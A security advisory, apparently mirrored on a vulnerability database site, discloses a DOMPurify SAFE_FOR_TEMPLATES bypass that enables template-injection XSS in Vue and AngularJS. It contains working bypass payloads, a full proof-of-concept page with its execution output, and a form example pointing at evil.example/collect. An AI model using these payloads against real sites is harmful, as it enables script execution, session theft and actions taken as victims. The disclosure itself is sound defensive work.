GHSA-QM7Q-Q8H9-JG8Q
Vulnerability from github – Published: 2026-12-03 18:07 – Updated: 2026-12-03 18:07Summary
With SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.17 returns strings that contain no {{ or }}, but which turn into a live {{…}} expression as soon as the string is assigned to innerHTML. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.
The attacker controls only the markup passed to sanitize(). The only configuration required is SAFE_FOR_TEMPLATES: true, which is a protective option, and the application uses it for its documented purpose. There are two independent variants.
Both variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain {{…}} case and the "expression split by a removed element" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.
Details
SAFE_FOR_TEMPLATES scrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.
- Per text node, during the walk (
src/purify.ts, around line 2396):
ts
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
const content = _stripTemplateExpressions(currentNode.textContent);
...
- On the final serialized string (
src/purify.ts, around line 3273):
ts
if (SAFE_FOR_TEMPLATES) {
serializedHTML = _stripTemplateExpressions(serializedHTML);
}
Both use the expressions in src/regexp.ts, e.g. MUSTACHE_EXPR = /{{[\w\W]*|^[\w\W]*}}/g.
Variant 1: nested <form> collapses on reparse
Input:
<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}
On the first parse, </form> clears the parser's form element pointer while the <div> is still open, so the second <form> is accepted as a child of the <div>. The DOM has three separate text nodes: {, {…} and }. None of them contains {{ or }}, so the per-node scrub does nothing.
Serialized output:
<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>
The string has no {{ or }} either (a <form> tag sits between the braces), so the final string scrub also passes.
When the consumer assigns this to innerHTML, the HTML parser ignores the inner <form> start tag because a form is already open. The three text fragments become adjacent and merge into one text node:
{{constructor.constructor('alert(1)')()}}
Variant 2: the final string scrub cuts through markup
Input:
<b><i>}<x></x>}{</i>{constructor.constructor('alert(1)')()}</b>}
After the disallowed <x> is removed, the serialized string is <b><i>}}{</i>{…}</b>}. The ^[\w\W]*}} branch of MUSTACHE_EXPR then deletes everything from the start of the string through }}, which removes the <b><i> start tags but leaves their end tags.
Output:
{</i>{constructor.constructor('alert(1)')()}</b>}
On reparse the orphaned </i> and </b> are dropped, and the text merges into {{constructor.constructor('alert(1)')()}}.
The same regex-over-markup behaviour can also cut closing tags from the end of the output (the {{[\w\W]* branch). For example <form action="https://evil.example/collect"><input name=q>{<x></x>{</form><p>after</p> returns <form action="https://evil.example/collect"><input name="q"> with no </form>.
Root cause and suggested direction
The scrub treats "no expression in any text node" and "no expression in the serialized string" as sufficient, but the guarantee users need is "no expression in any text node after the output is parsed again". Possible fixes:
- After serialization, reparse the output and re-run the text-node scrub until the result is stable, or scrub on a reparsed copy before returning.
- Do not run the template regexes over serialized markup; apply them only to text nodes and attribute values, so tags are never sliced.
- Treat lone
{/}at text-node boundaries as unsafe when the adjacent sibling's text starts or ends with a brace.
Proof of concept
Tested with DOMPurify 3.4.17 (npm latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.
Configuration: { SAFE_FOR_TEMPLATES: true }, nothing else.
Save as poc.html and open it in a browser. Use poc.html?v=2 for the second variant.
<!doctype html>
<meta charset="utf-8">
<script src="https://unpkg.com/dompurify@3.4.17/dist/purify.js"></script>
<script src="https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js"></script>
<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script>
<div id="vue-host"><div class="comment"></div></div>
<div id="ng-host"><div class="comment"></div></div>
<pre id="log"></pre>
<script>
const log = (m) => (document.getElementById('log').textContent += m + '\n');
window.xss = (tag) => log('EXECUTED: ' + tag);
const cfg = { SAFE_FOR_TEMPLATES: true };
// 1 = nested form, 2 = orphaned end tags
const variant = new URLSearchParams(location.search).get('v') === '2' ? 2 : 1;
const wrap = (expr) => variant === 1
? `<form><div>{</form><form>{${expr}}</form>}`
: `<b><i>}<x></x>}{</i>{${expr}}</b>}`;
// Vue 3 (in-DOM template)
const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg);
log('vue clean: ' + cleanVue);
document.querySelector('#vue-host .comment').innerHTML = cleanVue;
Vue.createApp({}).mount('#vue-host');
// AngularJS 1.8.3
const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg);
log('ng clean : ' + cleanNg);
document.querySelector('#ng-host .comment').innerHTML = cleanNg;
angular.bootstrap(document.getElementById('ng-host'), []);
</script>
Expected: the sanitized strings contain no live expression and nothing executes.
Actual (variant 1):
vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form>
EXECUTED: vue
ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form>
EXECUTED: ng
Actual (variant 2):
vue clean: {</i>{$emit.constructor('xss("vue")')()}</b>}
EXECUTED: vue
ng clean : {</i>{constructor.constructor('xss("ng")')()}</b>}
EXECUTED: ng
Controls that are still scrubbed correctly with the same config:
<p>{{constructor.constructor('alert(1)')()}}</p>returns<p> </p><div>{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}</div>returns</div>
Server-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing {{constructor.constructor('alert(1)')()}}.
Impact
Cross-site scripting through client-side template injection.
Affected: applications that sanitize untrusted HTML with SAFE_FOR_TEMPLATES: true, place the result in the DOM through an HTML sink such as innerHTML, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way.
An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140391"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-03T18:07:54Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nWith `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.17 returns strings that contain no `{{` or `}}`, but which turn into a live `{{\u2026}}` expression as soon as the string is assigned to `innerHTML`. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker\u0027s expression, giving arbitrary JavaScript execution.\n\nThe attacker controls only the markup passed to `sanitize()`. The only configuration required is `SAFE_FOR_TEMPLATES: true`, which is a protective option, and the application uses it for its documented purpose. There are two independent variants.\n\nBoth variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain `{{\u2026}}` case and the \"expression split by a removed element\" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.\n\n### Details\n\n`SAFE_FOR_TEMPLATES` scrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.\n\n1. Per text node, during the walk (`src/purify.ts`, around line 2396):\n\n ```ts\n if (SAFE_FOR_TEMPLATES \u0026\u0026 currentNode.nodeType === NODE_TYPE.text) {\n const content = _stripTemplateExpressions(currentNode.textContent);\n ...\n ```\n\n2. On the final serialized string (`src/purify.ts`, around line 3273):\n\n ```ts\n if (SAFE_FOR_TEMPLATES) {\n serializedHTML = _stripTemplateExpressions(serializedHTML);\n }\n ```\n\nBoth use the expressions in `src/regexp.ts`, e.g. `MUSTACHE_EXPR = /{{[\\w\\W]*|^[\\w\\W]*}}/g`.\n\n### Variant 1: nested `\u003cform\u003e` collapses on reparse\n\nInput:\n\n```html\n\u003cform\u003e\u003cdiv\u003e{\u003c/form\u003e\u003cform\u003e{constructor.constructor(\u0027alert(1)\u0027)()}\u003c/form\u003e}\n```\n\nOn the first parse, `\u003c/form\u003e` clears the parser\u0027s form element pointer while the `\u003cdiv\u003e` is still open, so the second `\u003cform\u003e` is accepted as a child of the `\u003cdiv\u003e`. The DOM has three separate text nodes: `{`, `{\u2026}` and `}`. None of them contains `{{` or `}}`, so the per-node scrub does nothing.\n\nSerialized output:\n\n```html\n\u003cform\u003e\u003cdiv\u003e{\u003cform\u003e{constructor.constructor(\u0027alert(1)\u0027)()}\u003c/form\u003e}\u003c/div\u003e\u003c/form\u003e\n```\n\nThe string has no `{{` or `}}` either (a `\u003cform\u003e` tag sits between the braces), so the final string scrub also passes.\n\nWhen the consumer assigns this to `innerHTML`, the HTML parser ignores the inner `\u003cform\u003e` start tag because a form is already open. The three text fragments become adjacent and merge into one text node:\n\n```\n{{constructor.constructor(\u0027alert(1)\u0027)()}}\n```\n\n### Variant 2: the final string scrub cuts through markup\n\nInput:\n\n```html\n\u003cb\u003e\u003ci\u003e}\u003cx\u003e\u003c/x\u003e}{\u003c/i\u003e{constructor.constructor(\u0027alert(1)\u0027)()}\u003c/b\u003e}\n```\n\nAfter the disallowed `\u003cx\u003e` is removed, the serialized string is `\u003cb\u003e\u003ci\u003e}}{\u003c/i\u003e{\u2026}\u003c/b\u003e}`. The `^[\\w\\W]*}}` branch of `MUSTACHE_EXPR` then deletes everything from the start of the string through `}}`, which removes the `\u003cb\u003e\u003ci\u003e` start tags but leaves their end tags.\n\nOutput:\n\n```html\n {\u003c/i\u003e{constructor.constructor(\u0027alert(1)\u0027)()}\u003c/b\u003e}\n```\n\nOn reparse the orphaned `\u003c/i\u003e` and `\u003c/b\u003e` are dropped, and the text merges into ` {{constructor.constructor(\u0027alert(1)\u0027)()}}`.\n\nThe same regex-over-markup behaviour can also cut closing tags from the end of the output (the `{{[\\w\\W]*` branch). For example `\u003cform action=\"https://evil.example/collect\"\u003e\u003cinput name=q\u003e{\u003cx\u003e\u003c/x\u003e{\u003c/form\u003e\u003cp\u003eafter\u003c/p\u003e` returns `\u003cform action=\"https://evil.example/collect\"\u003e\u003cinput name=\"q\"\u003e ` with no `\u003c/form\u003e`.\n\n### Root cause and suggested direction\n\nThe scrub treats \"no expression in any text node\" and \"no expression in the serialized string\" as sufficient, but the guarantee users need is \"no expression in any text node after the output is parsed again\". Possible fixes:\n\n- After serialization, reparse the output and re-run the text-node scrub until the result is stable, or scrub on a reparsed copy before returning.\n- Do not run the template regexes over serialized markup; apply them only to text nodes and attribute values, so tags are never sliced.\n- Treat lone `{` / `}` at text-node boundaries as unsafe when the adjacent sibling\u0027s text starts or ends with a brace.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.17 (npm `latest`), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.\n\nConfiguration: `{ SAFE_FOR_TEMPLATES: true }`, nothing else.\n\nSave as `poc.html` and open it in a browser. Use `poc.html?v=2` for the second variant.\n\n```html\n\u003c!doctype html\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003cscript src=\"https://unpkg.com/dompurify@3.4.17/dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript src=\"https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js\"\u003e\u003c/script\u003e\n\u003cscript src=\"https://unpkg.com/angular@1.8.3/angular.min.js\"\u003e\u003c/script\u003e\n\u003cdiv id=\"vue-host\"\u003e\u003cdiv class=\"comment\"\u003e\u003c/div\u003e\u003c/div\u003e\n\u003cdiv id=\"ng-host\"\u003e\u003cdiv class=\"comment\"\u003e\u003c/div\u003e\u003c/div\u003e\n\u003cpre id=\"log\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\n const log = (m) =\u003e (document.getElementById(\u0027log\u0027).textContent += m + \u0027\\n\u0027);\n window.xss = (tag) =\u003e log(\u0027EXECUTED: \u0027 + tag);\n const cfg = { SAFE_FOR_TEMPLATES: true };\n\n // 1 = nested form, 2 = orphaned end tags\n const variant = new URLSearchParams(location.search).get(\u0027v\u0027) === \u00272\u0027 ? 2 : 1;\n const wrap = (expr) =\u003e variant === 1\n ? `\u003cform\u003e\u003cdiv\u003e{\u003c/form\u003e\u003cform\u003e{${expr}}\u003c/form\u003e}`\n : `\u003cb\u003e\u003ci\u003e}\u003cx\u003e\u003c/x\u003e}{\u003c/i\u003e{${expr}}\u003c/b\u003e}`;\n\n // Vue 3 (in-DOM template)\n const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor(\u0027xss(\"vue\")\u0027)()`), cfg);\n log(\u0027vue clean: \u0027 + cleanVue);\n document.querySelector(\u0027#vue-host .comment\u0027).innerHTML = cleanVue;\n Vue.createApp({}).mount(\u0027#vue-host\u0027);\n\n // AngularJS 1.8.3\n const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor(\u0027xss(\"ng\")\u0027)()`), cfg);\n log(\u0027ng clean : \u0027 + cleanNg);\n document.querySelector(\u0027#ng-host .comment\u0027).innerHTML = cleanNg;\n angular.bootstrap(document.getElementById(\u0027ng-host\u0027), []);\n\u003c/script\u003e\n```\n\nExpected: the sanitized strings contain no live expression and nothing executes.\n\nActual (variant 1):\n\n```\nvue clean: \u003cform\u003e\u003cdiv\u003e{\u003cform\u003e{$emit.constructor(\u0027xss(\"vue\")\u0027)()}\u003c/form\u003e}\u003c/div\u003e\u003c/form\u003e\nEXECUTED: vue\nng clean : \u003cform\u003e\u003cdiv\u003e{\u003cform\u003e{constructor.constructor(\u0027xss(\"ng\")\u0027)()}\u003c/form\u003e}\u003c/div\u003e\u003c/form\u003e\nEXECUTED: ng\n```\n\nActual (variant 2):\n\n```\nvue clean: {\u003c/i\u003e{$emit.constructor(\u0027xss(\"vue\")\u0027)()}\u003c/b\u003e}\nEXECUTED: vue\nng clean : {\u003c/i\u003e{constructor.constructor(\u0027xss(\"ng\")\u0027)()}\u003c/b\u003e}\nEXECUTED: ng\n```\n\nControls that are still scrubbed correctly with the same config:\n\n- `\u003cp\u003e{{constructor.constructor(\u0027alert(1)\u0027)()}}\u003c/p\u003e` returns `\u003cp\u003e \u003c/p\u003e`\n- `\u003cdiv\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\u0027alert(1)\u0027)()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e` returns ` \u003c/div\u003e`\n\nServer-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing `{{constructor.constructor(\u0027alert(1)\u0027)()}}`.\n\n### Impact\n\nCross-site scripting through client-side template injection.\n\nAffected: applications that sanitize untrusted HTML with `SAFE_FOR_TEMPLATES: true`, place the result in the DOM through an HTML sink such as `innerHTML`, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way.\n\nAn attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.",
"id": "GHSA-qm7q-q8h9-jg8q",
"modified": "2026-12-03T18:07:54Z",
"published": "2026-12-03T18:07:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-qm7q-q8h9-jg8q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140391"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dompurify-before-3.4.18-safe-for-templates-bypass-leading-to-xss"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: SAFE_FOR_TEMPLATES bypass: template expressions reassemble when sanitized output is reparsed (nested \u003cform\u003e and orphaned end tags)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.